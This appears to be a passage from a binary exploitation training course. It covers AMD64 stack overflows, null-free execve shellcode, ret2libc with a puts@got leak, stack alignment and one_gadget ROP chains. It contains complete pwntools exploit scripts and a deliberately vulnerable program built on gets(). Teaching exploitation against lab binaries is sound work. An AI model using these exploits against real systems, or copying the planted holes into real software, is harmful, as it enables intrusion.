Segfault in libcStack alignment (AMD64!)Add extra ret gadget
Works in GDB, fails outsideEnvironment variable differencesetarch -R ./vuln

The GDB vs Real Execution Problem:

The stack layout differs between GDB and normal execution due to environment variables:

# See the difference
env | wc -l       # Count env vars
env -i ./vuln1    # Run with empty environment

# In GDB, minimize environment
gdb -q ./vuln1
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env                        # Should be minimal

# Or use this pwntools trick to match addresses
p = process('./vuln1', env={})        # Empty environment

Essential pwndbg Commands for Exploit Development (AMD64):

# Address finding
pwndbg> vmmap                         # Memory map (find stack, libc, etc.)
pwndbg> search -s "/bin/sh"           # Find string in memory
pwndbg> got                           # Show GOT entries

# Payload verification
pwndbg> hexdump $rsp 100              # View your payload on stack
pwndbg> telescope $rsp 20             # Smart stack display (shows dereferences)

# Execution tracing
pwndbg> nearpc                        # Show instructions around PC
pwndbg> context                       # Full context display
pwndbg> retaddr                       # Show return addresses on stack

# Exploit helpers
pwndbg> rop                           # Find ROP gadgets (slow)
pwndbg> checksec                      # Binary protections

Debugging Checklist (Use Before Asking for Help!):

  • Offset verified? Use cyclic pattern, confirm with cyclic -l (use full 8-byte value on AMD64!)
  • Addresses correct? Double-check with print &function in GDB
  • Architecture matches? context.arch = 'amd64', use p64() not p32()
  • Endianness correct? x86/x64 = little endian = p64()
  • No bad characters? Check for \x00, \x0a, \x0d in payload
  • Stack executable? checksec should show "NX disabled"
  • ASLR disabled for this run? Use setarch -R or GDB's default
  • Using same environment? env -i or env={} in pwntools
  • Shellcode tested standalone? run_shellcode() in pwntools
  • Stack aligned? AMD64 requires 16-byte alignment before call

Environment Hygiene (Critical for Exploit Development)

Stack addresses differ between environments due to variables like LINES, COLUMNS, PWD, TERM, and program name length. This is the #1 cause of "works in GDB, fails outside" issues.

The Problem:

Normal execution:     GDB execution:           Different terminal:
┌─────────────────┐   ┌─────────────────┐      ┌─────────────────┐
│ env vars (big)  │   │ env vars + GDB  │      │ different env   │
│ PWD=/long/path  │   │ extra vars      │      │ COLUMNS=120     │
├─────────────────┤   ├─────────────────┤      ├─────────────────┤
│ argv, argc      │   │ argv, argc      │      │ argv, argc      │
├─────────────────┤   ├─────────────────┤      ├─────────────────┤
│ Stack           │   │ Stack           │      │ Stack           │
│ buffer @ 0xABC  │   │ buffer @ 0xA00  │      │ buffer @ 0xB00  │
└─────────────────┘   └─────────────────┘      └─────────────────┘
       ↑ Different addresses due to env var size!

Solution: Force Consistent Environment:

# Method 1: Clear all environment variables
env -i ./exploit

# Method 2: Clear and set minimal required vars
env -i PWD=$(pwd) ./exploit

# Method 3: In pwntools (RECOMMENDED for learning)
from pwn import *
p = process('./vuln', env={})  # Empty environment
# Or with minimal vars:
p = process('./vuln', env={'PWD': os.getcwd()})

# Method 4: Disable ASLR per-process (pwntools, best for learning)
p = process('./vuln', aslr=False, env={})

The "It Works on My Machine" Checklist

  • Buffering Hell
    • Local process() typically uses PTY (unbuffered).
    • Remote nc or sockets are often fully buffered or line-buffered.
    • Always use p.recvuntil(b'prompt') before sending. Never rely on sleep() unless absolutely necessary.
  • IO Handling
    • p.recv() is dangerous—it returns some data, not all data.
    • p.clean() removes unread data (useful before sending payload).
    • p.sendline() adds \n. Ensure target expects \n and not just raw bytes.
  • Environment Variables
    • Remote servers have different env vars than your GDB session.
    • This shifts stack addresses by +/- 0x100 bytes.
    • Never rely on exact stack addresses (hardcoded 0x7ffffff...).
    • Always use leaks (libc/stack) and relative offsets, or NOP sleds.

GDB Environment Matching:

# In GDB, clear problematic variables
gdb -q ./vuln
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) unset env TERM
(gdb) show env          # Verify minimal environment
(gdb) run

# Or start GDB with clean environment
env -i gdb -q ./vuln

pwntools Best Practice for Learning:

#!/usr/bin/env python3
from pwn import *

context.binary = ELF('./vuln')

# For LEARNING phase: disable ASLR and clear env
# This ensures consistent addresses across runs
p = process('./vuln', aslr=False, env={})

# For PRODUCTION exploits: use leaks and relative offsets
# p = process('./vuln')  # Real-world: ASLR enabled

Verification:

# Compare stack addresses with different environments
env -i ./vuln          # Note buffer address
./vuln                 # Different address!
env -i PWD=x ./vuln    # Yet another address

# Find the delta between GDB and real execution
# GDB typically adds ~0x60-0x100 bytes to stack

Warning

Always use env -i or env={} when developing exploits with hardcoded addresses! Once your exploit works, convert to using leaks for portability.

Practical Exercise

Exercise: Exploit vuln1 to get a shell

Steps:

  1. Compile Target (AMD64):

    make training-shellcode SOURCE=vuln1.c BINARY=vuln1
    #gcc -g -O0 -fno-stack-protector -z execstack -no-pie vuln1.c -o vuln1
    #checksec --file=./vuln1
    
  2. Find Offset (AMD64 uses 8-byte patterns):

    pwn cyclic 200
    # copy output
    gdb ./vuln1
    run
    # paste as input
    # Note the 4-byte crash value for RIP
    cyclic -n 4 -l <4_byte_crash_value>
    
  3. Find Stack Address (or jmp rsp gadget):

    ROPgadget --binary ./vuln1 | grep "jmp rsp"
    
  4. Build Exploit (AMD64):

    • NOP sled (50 bytes)
    • AMD64 shellcode (use asm(shellcraft.amd64.linux.sh()))
    • Padding to offset (72 bytes typical)
    • Return address (8 bytes - use p64())
  5. Test Exploit:

    python3 exploit1.py
    # Should get shell
    id
    whoami
    

Success Criteria:

  • Successfully overflow return address
  • Shellcode executes
  • Shell obtained
  • Can run commands (id, whoami, ls)
Week 4 Deliverable Exercise: From Minimized Crash to Exploit

Use one of your Week 4 deliverables (reproduction fidelity + minimized crash) and turn it into a working Day 1 exploit.

Inputs from Week 4:

  • A minimized crash input (file or stdin blob)
  • An exact reproduction command (argv + input path)
  • Your reproduction notes (OS/libc, environment variables, ASLR settings)

Task:

  1. Reproduce the crash reliably (>= 9/10) using the exact same input path and environment.
  2. Generate a core dump and confirm you control RIP.
  3. Replace your crashing bytes with a cyclic pattern and recover the exact offset.
  4. Build an exploit that spawns a shell (ret2shellcode for Day 1).

Success Criteria:

  • Offset derived from the crash (not guessed)
  • Exploit works multiple times in a row
Week 2 Integration Exercise: AFL++ Crash -> Minimize -> Exploit

Reuse the Week 2 AFL++ workflow, but target a Week 5 binary.

Goal: produce a fuzzer-found crashing input for a Day 1 style target, minimize it, then turn it into a working exploit.

Task:

  1. Build the target with AFL++ instrumentation.
  2. Run afl-fuzz until you get a crash.
  3. Minimize the crashing input with afl-tmin.
  4. Use the minimized crash to recover the offset and build a working exploit.

Success Criteria:

  • A fuzzer-generated input crashes the program
  • afl-tmin produces a smaller reproducer that still crashes
  • You can transform the minimized input into a working exploit
Common Issues and Solutions

Issue 1: Segfault at wrong address

# Check actual RIP value (AMD64)
gdb ./vuln1
run
# add exploit
info registers rip

# Adjust return address in exploit

Issue 2: Shellcode not executing

# Verify shellcode is correct AMD64 shellcode
python3 -c "from pwn import *; context.arch='amd64'; print(asm(shellcraft.amd64.linux.sh()).hex())"

# Check stack is executable
readelf -l vuln1 | grep STACK
# Should show RWE (Read Write Execute)

Issue 3: Stack address wrong

# Stack addresses may vary slightly
# Use larger NOP sled (100-200 bytes)
# Adjust return address to middle of NOP sled
Common Mistakes to Avoid
  1. Forgetting endianness: x86/x64 is little-endian. 0xdeadbeef becomes \xef\xbe\xad\xde
  2. Wrong architecture: AMD64 shellcode won't work in 32-bit process (and vice versa!)
  3. Using p32() on AMD64: Always use p64() for 64-bit binaries
  4. Bad characters: Null bytes (\x00) terminate strings in strcpy. Other common bad chars: \x0a (newline), \x0d (carriage return), \x20 (space)
  5. Stack alignment: AMD64 requires 16-byte alignment before call for some libc functions (add extra ret gadget if crashes in libc)
  6. Environment differences: Stack addresses differ between GDB and normal execution (due to environment variables)
Exercise: Removing Null Bytes from Shellcode

Why This Matters: String functions like strcpy(), gets(), and scanf("%s") stop at null bytes. If your shellcode contains \x00, it gets truncated.

Common Null Byte Sources:

InstructionBytesProblemSolution
mov rax, 048 c7 c0 00 00 00 00Immediate 0xor eax, eax → 31 c0
mov rdi, 0x68732f6e69622fContains nullsString paddingUse push/mov sequences
mov al, 59b0 3bNo nulls!OK as-is
syscall0f 05No nullsOK as-is

Task: Convert this null-containing shellcode to null-free:

; Original (contains null bytes)
; execve("/bin/sh", NULL, NULL)
BITS 64

section .text
global _start

_start:
    mov rax, 59          ; 48 c7 c0 3b 00 00 00 - CONTAINS NULLS!
    mov rdi, binsh       ; 48 bf XX XX XX XX XX XX XX XX - address likely has nulls
    mov rsi, 0           ; 48 c7 c6 00 00 00 00 - CONTAINS NULLS!
    mov rdx, 0           ; 48 c7 c2 00 00 00 00 - CONTAINS NULLS!
    syscall

section .data
binsh: db "/bin/sh", 0   ; Contains null terminator!

Solution: Null-Free Version:

; Null-free execve("/bin/sh", NULL, NULL)
BITS 64

section .text
global _start

_start:
    ; Clear registers without using immediate 0
    xor eax, eax         ; 31 c0 - clears RAX (zero-extends to 64-bit)
    xor esi, esi         ; 31 f6 - clears RSI
    xor edx, edx         ; 31 d2 - clears RDX

    ; Push "/bin/sh" onto stack (reverse order, no null in code)
    ; "/bin/sh" = 0x68732f6e69622f2f with extra / ("/bin//sh")
    push rax             ; Null terminator on stack
    mov rdi, 0x68732f2f6e69622f  ; "/bin//sh" (no embedded nulls)
    push rdi
    mov rdi, rsp         ; RDI = pointer to "/bin//sh\0"

    ; Set syscall number without nulls
    mov al, 59           ; b0 3b - only sets AL, RAX already 0

    syscall              ; 0f 05 - execute!

pwntools Verification:

# ~/exploit/7.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# Check for null bytes in shellcode
shellcode = asm('''
    xor eax, eax
    xor esi, esi
    xor edx, edx
    push rax
    mov rdi, 0x68732f2f6e69622f
    push rdi
    mov rdi, rsp
    mov al, 59
    syscall
''')

# Verify no null bytes
if b'\x00' in shellcode:
    print(f"[!] FAIL: Shellcode contains null bytes!")
    print(f"    Position: {shellcode.index(b'\\x00')}")
    print(f"    Bytes: {shellcode.hex()}")
else:
    print(f"[+] SUCCESS: Null-free shellcode ({len(shellcode)} bytes)")
    print(f"    {shellcode.hex()}")

# Test it
print("\n[*] Testing shellcode...")
run_shellcode(shellcode).interactive()

Null-Byte Elimination Techniques:

OriginalNull-Free ReplacementNotes
mov rax, 0xor eax, eaxZero-extends to 64-bit
mov rdi, 0xor edi, ediZero-extends to 64-bit
mov rax, small_numxor eax, eax; mov al, numFor values < 256
mov rax, imm64push imm32; pop raxIf value fits in 32-bit
String in .datapush string onto stackBuild string at runtime
jmp label with null offsetUse short jumps or restructureRelative offset issue

Identifying Bad Characters:

#~/exploit/8.py
from pwn import *
# Find all bad characters in your shellcode
def find_bad_chars(shellcode, bad_chars=b'\x00\x0a\x0d\x20'):
    found = []
    for i, byte in enumerate(shellcode):
        if bytes([byte]) in bad_chars:
            found.append((i, hex(byte)))
    return found

shellcode = asm(shellcraft.sh())
bad = find_bad_chars(shellcode)
if bad:
    print(f"Bad characters at: {bad}")
else:
    print("Shellcode is clean!")

Tip

Use pwntools shellcraft with encoders for complex shellcode:

# Automatically generate null-free shellcode
shellcode = asm(shellcraft.amd64.linux.sh())
# Or use msfvenom: msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00'

Debugging Tips:

# Per-process ASLR disable (DON'T disable system-wide!)
setarch x86_64 -R ./binary
# Or in pwntools: p = process('./binary', aslr=False)

# Run with same environment as GDB
env -i ./binary

# Generate core dumps for post-crash analysis
ulimit -c unlimited
./binary $(python3 -c "print('A'*200)")
gdb ./binary core

# Trace syscalls/library calls
strace ./binary
ltrace ./binary

Key Takeaways

  1. Stack overflows overwrite return address: Control RIP (AMD64) / EIP (x86)
  2. Finding offset is critical: Use cyclic patterns (8-byte on AMD64!)
  3. NOP sleds improve reliability: Don't need exact address
  4. Stack must be executable: -z execstack required for shellcode
  5. Per-process ASLR disable: Use setarch -R or GDB, NOT system-wide
  6. AMD64 uses 8-byte addresses: Always use p64() not p32()

Discussion Questions

  1. Why does a NOP sled improve exploit reliability?
  2. What happens if ASLR is enabled but other protections are disabled?
  3. How would you modify your exploit if the vulnerable function used read() instead of gets()?
  4. What are the limitations of this technique in real-world scenarios?
  5. Why is AMD64 stack alignment (16-byte) important for exploit reliability?

Day 2: Return-to-libc and Introduction to ROP

  • Goal: Learn code-reuse exploitation when stack is not executable.
  • Activities:

Context: Router Exploitation (MIPS/ARM)

  • Return-to-libc is a staple in embedded device exploitation (routers, IoT).
  • Many of these devices run on MIPS or ARM architectures where stack execution is often disabled or cache coherency issues make shellcode unreliable.
  • Attackers frequently use system() or execve() from libc to spawn a shell, just like we will do today.

Deliverables

  • Binary: vuln2 built with NX enabled and verified with checksec
  • Leak stage: Stage 1 leak works and returns to main
  • Libc base: libc.address correctly computed from the leak
  • Final stage: Stage 2 gains code execution (shell)
  • Notes: gadgets + alignment rationale, plus the parsed leak value

Non-Executable Stack (NX/DEP)

What is NX?:

  • NX (No eXecute) bit marks stack as non-executable
  • Also called DEP (Data Execution Prevention) on Windows
  • Shellcode on stack cannot execute
  • Need alternative exploitation strategy

Enable NX for Practice (AMD64):

# Compile with NX enabled (no -z execstack)
make disabled SOURCE=vuln1.c BINARY=vuln1_nx
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln1.c -o vuln1_nx
# Verify NX enabled
# checksec --file=./vuln1_nx
# Stack: NX enabled

# Try old exploit(edit it to use vuln_nx)
python3 exploit1.py
# Segmentation fault (shellcode doesn't execute)

Return-to-libc Technique

Concept:

  • Instead of executing shellcode, call existing functions
  • libc provides useful functions (system, execve, etc.)
  • Chain function calls to achieve goal
  • No shellcode needed!

Important

AMD64 Calling Convention: Unlike x86 where arguments go on the stack, AMD64 passes the first 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9. This means we need gadgets to load registers before calling functions!

The Canonical Exploit Pattern: Leak → Compute → Exploit

Caution

Never hardcode libc addresses! Even with ASLR disabled for testing, addresses change between libc versions and systems. Always use the leak → compute base → build ROP pattern.

The Real-World Pattern:

1. Stage 1: Leak a libc address (e.g., puts@got)
2. Compute libc base: libc.address = leaked_addr - libc.symbols['puts']
3. Stage 2: Build ROP chain with calculated addresses
4. Exploit: Call system("/bin/sh") or execve

Why This Matters:

  • Works even with ASLR enabled (after one leak)
  • Portable across different libc versions (with correct libc file)
  • This is how real exploits work—not "paste address from GDB"

Required Lab: Libc Leak via ROP (AMD64)

This is the most important skill in basic exploitation. Even with ASLR "disabled" in labs, always practice the leak pattern.

vuln2.c (Vulnerable program for leak practice):

#include <stdio.h>
#include <string.h>

// Gadget functions - ensure useful ROP gadgets exist in binary
// These create pop rdi; ret and other gadgets we need
void gadgets() {
    __asm__ volatile (
        "pop %rdi; ret\n"    // pop rdi; ret - for first argument
        "pop %rsi; ret\n"    // pop rsi; ret - for second argument
        "pop %rdx; ret\n"    // pop rdx; ret - for third argument
        "ret\n"              // ret - for stack alignment
    );
}

void vulnerable() {
    char buffer[64];
    printf("Enter input: ");
    fflush(stdout);
    gets(buffer);  // Vulnerable! Allows overflow and null bytes
    printf("You entered: %s\n", buffer);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);  // Disable buffering for reliable I/O
    puts("ROP Practice - ret2libc with leak");
    vulnerable();
    puts("Done!");  // Important: binary must import puts for our leak!
    return 0;
}

Compile (AMD64, NX enabled):

cd ~/exploit
make disabled SOURCE=vuln2.c BINARY=vuln2
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2
# checksec --file=./vuln2
# Verify: NX enabled, No canary, No PIE, SHSTK/IBT disabled

Complete Leak-Based Exploit (AMD64):

#!/usr/bin/env python3
#~/exploit/9.py
"""
Canonical ret2libc with leak - AMD64

This is THE pattern to learn. It works on real systems with ASLR.
Pattern: leak → compute libc base → build ROP → shell

Step 1: ROP to puts(puts@got), return to main
Step 2: Parse leaked puts address
Step 3: Compute libc.address = leak - libc.symbols['puts']
Step 4: Build final ROP: system("/bin/sh")
"""
from pwn import *

# ============ SETUP ============
binary_path = './vuln2'
elf = ELF(binary_path)
context.binary = elf  # Sets arch=amd64

# Load libc - use the ACTUAL libc on target system!
# On Ubuntu: /lib/x86_64-linux-gnu/libc.so.6
# For remote: download from target or use libc database
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# ============ GADGETS ============
# AMD64 needs gadgets to load registers before function calls
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]  # Almost always needed
ret = rop.find_gadget(['ret'])[0]  # For stack alignment

log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")

# ============ ADDRESSES ============
puts_plt = elf.plt['puts']      # PLT stub to call puts
puts_got = elf.got['puts']      # GOT entry (contains libc address after first call)
main_addr = elf.symbols['main'] # Return here after leak

log.info(f"puts@plt: {hex(puts_plt)}")
log.info(f"puts@got: {hex(puts_got)}")
log.info(f"main: {hex(main_addr)}")

# ============ EXPLOIT ============
OFFSET = 72  # 64 buffer + 8 saved RBP

def exploit():
    # Can run locally or switch to remote
    if args.REMOTE:
        p = remote('target', 1337)
    else:
        p = process(binary_path)

    # ========== STAGE 1: LEAK LIBC ADDRESS ==========
    log.info("Stage 1: Leaking libc address via puts(puts@got)")

    # Wait for prompt
    p.recvuntil(b'Enter input: ')

    # AMD64 ROP: pop rdi loads argument, then call puts
    # Stack alignment: add ret gadget if needed
    stage1 = flat(
        b'A' * OFFSET,
        p64(ret),           # Stack alignment (16-byte before call)
        p64(pop_rdi),       # pop rdi; ret
        p64(puts_got),      # RDI = puts@got (address to leak)
        p64(puts_plt),      # Call puts(puts@got) - prints libc address!
        p64(main_addr),     # Return to main for stage 2
    )

    p.sendline(stage1)

    # Parse the leak
    # Our ROP chain: puts(puts@got) → main, so output is:
    # "You entered: [overflow]\n[LEAKED_ADDR]\nROP Practice..."
    # Skip until after our payload echo, then read leaked address line
    p.recvuntil(b'You entered: ')
    p.recvuntil(b'\n')  # Skip to end of "You entered" line

    # Read leaked bytes - puts adds a newline, so read until that newline
    leaked_bytes = p.recvline().strip()  # Remove trailing newline from puts

    # Handle the leak (puts stops at null bytes, pad if needed)
    leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
    log.success(f"Leaked puts@libc: {hex(leaked_puts)}")

    # ========== COMPUTE LIBC BASE ==========
    libc.address = leaked_puts - libc.symbols['puts']
    log.success(f"Calculated libc base: {hex(libc.address)}")

    # Verify libc base looks reasonable (should end in 000 due to page alignment)
    if libc.address & 0xfff != 0:
        log.warning("Libc base not page-aligned - leak may be wrong!")

    # ========== STAGE 2: ONE_GADGET APPROACH ==========
    # Modern libc lacks clean pop rdx gadgets, so we use one_gadget
    # Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
    # Constraints vary - try each until one works
    log.info("Stage 2: Using one_gadget")

    # One_gadget offsets - UPDATE THESE for your libc version!
    # Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
    one_gadgets = [
        0xef4ce,  # execve("/bin/sh", rbp-0x50, r12) - needs rbx=0, r12=0
        0xef52b,  # execve("/bin/sh", rbp-0x50, [rbp-0x78]) - needs rax=0
        0x583ec,  # posix_spawn constraints
        0x583f3,  # posix_spawn constraints
    ]

    # Try the second one_gadget (0xef52b) - needs rax=NULL
    # If first doesn't work, try index 1, 2, 3...
    one_gadget = libc.address + one_gadgets[1]
    log.info(f"one_gadget @ {hex(one_gadget)}")

    # Wait for prompt (program returned to main, runs vulnerable() again)
    p.recvuntil(b'Enter input: ')

    # For one_gadget, we need valid RBP (rbp-0x50 must be writable)
    # Our overflow corrupted RBP to 0x4141...
    # Fix: set RBP to a writable address (like stack) before one_gadget
    libc_rop = ROP(libc)

    # Find gadgets
    pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
    pop_rbx = libc_rop.find_gadget(['pop rbx', 'ret'])
    pop_r12 = libc_rop.find_gadget(['pop r12', 'ret'])
    pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])

    # Use a writable address for RBP - use a known writable section
    # .bss section in the binary is always writable
    writable_addr = elf.bss() + 0x200  # Some offset into .bss

    stage2 = b'A' * OFFSET
    stage2 += p64(ret)           # Stack alignment

    # Fix RBP to point to writable memory (CRITICAL for one_gadget!)
    if pop_rbp:
        stage2 += p64(pop_rbp[0])
        stage2 += p64(writable_addr + 0x80)  # rbp = writable addr + margin

    # Set rax = 0 (for one_gadget constraints)
    if pop_rax:
        stage2 += p64(pop_rax[0])
        stage2 += p64(0)         # rax = NULL

    # Set rbx = 0 and r12 = 0 (for other one_gadget constraints)
    if pop_rbx:
        stage2 += p64(pop_rbx[0])
        stage2 += p64(0)         # rbx = NULL
    if pop_r12:
        stage2 += p64(pop_r12[0])
        stage2 += p64(0)         # r12 = NULL

    log.info(f"RBP set to writable: {hex(writable_addr + 0x80)}")
    stage2 += p64(one_gadget)    # Jump to one_gadget

    p.sendline(stage2)

    # Got shell!
    log.success("Shell incoming!")
    p.interactive()

if __name__ == '__main__':
    exploit()

Key Points:

  1. Never use p.libs() in final exploits - it only works locally for debugging
  2. Always leak, then compute - this works with ASLR enabled
  3. Stack alignment - AMD64 requires 16-byte alignment before call; add ret gadget
  4. Return to main - allows second stage after leak
  5. Fix RBP for one_gadget - buffer overflows corrupt RBP; one_gadgets need rbp-0xXX writable
  6. Modern libc has CET - SHSTK/IBT enabled; system() may fail, use one_gadget instead

AMD64 Stack Alignment

Caution

AMD64 Failure Mode: If your exploit crashes with SIGSEGV inside libc (e.g., in movaps instruction), you have a stack alignment problem. The stack must be 16-byte aligned before any call instruction.

The Problem:

  • System V AMD64 ABI requires:
    • Stack must be 16-byte aligned BEFORE the 'call' instruction
    • 'call' pushes 8-byte return address → stack becomes misaligned
    • Function prologue (push rbp) realigns it
  • When ROP chains skip prologues, alignment breaks!

The Fix - Always Include ret Gadget:

# WRONG - may crash in libc due to misalignment
payload = flat(
    b'A' * offset,
    p64(pop_rdi),
    p64(binsh),
    p64(system),  # Crashes with movaps SIGSEGV!
)

# CORRECT - ret gadget aligns stack
ret = rop.find_gadget(['ret'])[0]
payload = flat(
    b'A' * offset,
    p64(ret),      # ← Stack alignment fix!
    p64(pop_rdi),
    p64(binsh),
    p64(system),   # Works on older libc!
)

Warning

Modern libc (glibc 2.34+) has Intel CET enabled! Even with correct alignment, system() may still crash due to Shadow Stack (SHSTK) and Indirect Branch Tracking (IBT). Check with checksec: if SHSTK: Enabled and IBT: Enabled, use one_gadget instead.

When Alignment Isn't Enough (CET):

# If system() crashes even with alignment, check for CET:
# checksec /lib/x86_64-linux-gnu/libc.so.6
# Shows: SHSTK: Enabled, IBT: Enabled

# Solution: Use one_gadget with RBP fix instead of system()
one_gadget = libc.address + 0xef52b  # From: one_gadget /path/to/libc.so.6
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])

payload = flat(
    b'A' * offset,
    p64(ret),                        # Stack alignment
    p64(pop_rbp[0]),
    p64(elf.bss() + 0x280),          # Fix RBP for one_gadget constraints
    p64(one_gadget),                 # Bypasses CET!
)

Debugging Alignment Issues:

# In GDB, when you hit the crash:
pwndbg> x/i $rip
# If you see: movaps xmmword ptr [rsp+0x50], xmm0
# This is an alignment issue!

pwndbg> p/x $rsp
# Check if RSP ends in 0 or 8
# Before call: should end in 0 (16-byte aligned)
# After call: ends in 8 (return addr pushed)
# ============================================================
# EXERCISE: "Break It, Fix It" (The Movaps Trap)
# ============================================================
# 1. Create a ROP chain that calls system("/bin/sh") WITHOUT a ret gadget.
#    payload = flat(b'A'*offset, pop_rdi, binsh, system)
# 2. Run it inside GDB. It will crash.
# 3. Inspect the crash:
#    (gdb) x/i $rip
#    => movaps xmmword ptr [rsp+0x40], xmm0
# 4. Check stack alignment:
#    (gdb) p/x $rsp
#    Result ends in 0x8? That's the bug.
# 5. Fix it:
#    payload = flat(b'A'*offset, ret, pop_rdi, binsh, system)
#    (gdb) p/x $rsp (at system entry) -> Now ends in 0x0. Success.
# ============================================================

# If aligned but still crashes - check for CET:
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK/IBT enabled = use one_gadget instead

Automated Address Finding (Local Debugging Only)

Warning

p.libs() only works for local debugging. Never use it in exploits targeting remote systems! Always use the leak pattern.

#!/usr/bin/env python3
#~/exploit/10.py
"""
Address finding for LOCAL DEBUGGING ONLY
DO NOT use p.libs() in real exploits - it doesn't work remotely!
"""
from pwn import *

elf = context.binary = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# LOCAL DEBUGGING ONLY - shows where libc is loaded in THIS process
p = process('./vuln2', aslr=False, env={})

# Get libc base from process maps (LOCAL ONLY!)
# NOTE: libc.path may not match p.libs() keys due to symlinks
# Search for 'libc' in the library paths instead
libs = p.libs()
libc_path = [path for path in libs.keys() if 'libc' in path][0]
libc_base = libs[libc_path]
libc.address = libc_base

log.warning("Using p.libs() - THIS ONLY WORKS LOCALLY!")
log.info(f"Local libc base: {hex(libc.address)}")
log.info(f"Local system(): {hex(libc.symbols['system'])}")

# Find useful addresses for debugging
binsh = next(libc.search(b'/bin/sh\x00'))
log.info(f"/bin/sh string: {hex(binsh)}")

# For one_gadget debugging - verify offsets work with your libc
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget_offsets = [0xef4ce, 0xef52b, 0x583ec, 0x583f3]  # UPDATE for your libc!
for i, offset in enumerate(one_gadget_offsets):
    log.info(f"one_gadget[{i}]: {hex(libc.address + offset)}")

# Writable address for RBP fix (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200
log.info(f"Writable .bss for RBP: {hex(writable)}")

# In a real exploit, you would LEAK an address instead:
# leaked = ... (from ROP chain)
# libc.address = leaked - libc.symbols['puts']

Finding one_gadget Offsets:

# Install one_gadget (Ruby gem)
gem install one_gadget

# Find gadgets for your libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6

# Example output:
# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x50 is writable
#   rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
#
# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
#   address rbp-0x50 is writable
#   rax == NULL || {"/bin/sh", rax, NULL} is a valid argv

# Copy the offsets to your exploit and try each one
# Remember: set RBP to writable address before calling!

Identifying Your Libc Version:

# Check libc version
ldd --version
# Or:
/lib/x86_64-linux-gnu/libc.so.6

# Get libc build ID (for libc database lookups)
file /lib/x86_64-linux-gnu/libc.so.6
# Or:
readelf -n /lib/x86_64-linux-gnu/libc.so.6 | grep "Build ID"

# Check for CET (determines if system() ROP will work)
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK: Enabled, IBT: Enabled = use one_gadget instead of system()

Introduction to ROP

What is ROP?:

  • Technique to chain existing code "gadgets"
  • Gadget = short instruction sequence ending in ret
  • Chain gadgets to build arbitrary operations
  • Bypasses NX/DEP without shellcode

AMD64 ROP Basics:

Unlike x86 where you push arguments to the stack, AMD64 passes arguments in registers. This means you need gadgets like pop rdi; ret to load arguments!

Essential AMD64 Gadgets:

GadgetPurposeUsage
pop rdi; retLoad 1st argumentAlmost always needed!
pop rsi; retLoad 2nd argumentFor two-arg functions
pop rdx; retLoad 3rd argumentRare in modern libc! Use one_gadget
pop rbp; retFix RBP for one_gadgetCritical for one_gadget!
pop rax; retSet RAX (syscall #)For one_gadget constraints
retStack alignment / pivotFix 16-byte alignment

Note

Modern libc (glibc 2.34+) lacks clean pop rdx; ret gadgets and has CET enabled. Traditional system("/bin/sh") ROP often fails. Use one_gadget instead!

Simple AMD64 ROP Example (Traditional - may fail on modern libc):

Goal: Call system("/bin/sh") - works on older libc without CET

AMD64 calling convention:
- RDI = first argument = address of "/bin/sh"
- Then call system()

Stack layout (after overflow):
┌─────────────────┐
│ ret gadget      │ → align stack (optional)
├─────────────────┤
│ pop rdi; ret    │ → gadget address
├─────────────────┤
│ &"/bin/sh"      │ → value popped into RDI
├─────────────────┤
│ &system         │ → called with RDI = "/bin/sh"
└─────────────────┘

Modern AMD64 ROP Example (one_gadget - works on glibc 2.34+):

Goal: Call one_gadget (execve("/bin/sh", ...)) - works on modern libc with CET

Requirements:
- RBP = writable address (one_gadget needs rbp-0x50 writable)
- RAX = 0 (some one_gadgets require this)

Stack layout (after overflow):
┌─────────────────┐
│ ret gadget      │ → align stack
├─────────────────┤
│ pop rbp; ret    │ → from libc
├─────────────────┤
│ .bss + 0x280    │ → writable address for RBP
├─────────────────┤
│ pop rax; ret    │ → from libc (optional, for constraints)
├─────────────────┤
│ 0x0             │ → RAX = NULL
├─────────────────┤
│ one_gadget      │ → libc.address + offset → shell!
└─────────────────┘

Finding ROP Gadgets

Master manual gadget hunting before relying on tools—it builds intuition for what's possible.

Manual Gadget Finding (Do This First!)
# Why manual first? Because:
# 1. Tools miss "unaligned" gadgets
# 2. Understanding binary structure helps debugging
# 3. Sometimes you need a specific gadget tools don't flag

# Step 1: Disassemble the binary
objdump -d -M intel vuln2 > disasm.txt

# Step 2: Search for 'ret' instructions (opcode: 0xc3)
grep -n "ret" disasm.txt

# Step 3: Look backwards from each 'ret' for useful sequences
# Example output (AMD64):
#  401234:  5f                     pop    rdi
#  401235:  c3                     ret
# This is a "pop rdi; ret" gadget at 0x401234

# Step 4: Search for specific patterns
grep -B2 "ret" disasm.txt | grep "pop"

# AMD64: Search for syscall instruction
objdump -d vuln2 | grep "syscall"

Common AMD64 Gadget Byte Patterns:

Gadget TypeByte SequenceInstruction
pop rdi; ret5f c3Load RDI (arg 1)
pop rsi; ret5e c3Load RSI (arg 2)
pop rdx; ret5a c3Load RDX (arg 3) - rare!
pop rcx; ret59 c3Load RCX (arg 4)
pop rax; ret58 c3Load RAX (for one_gadget)
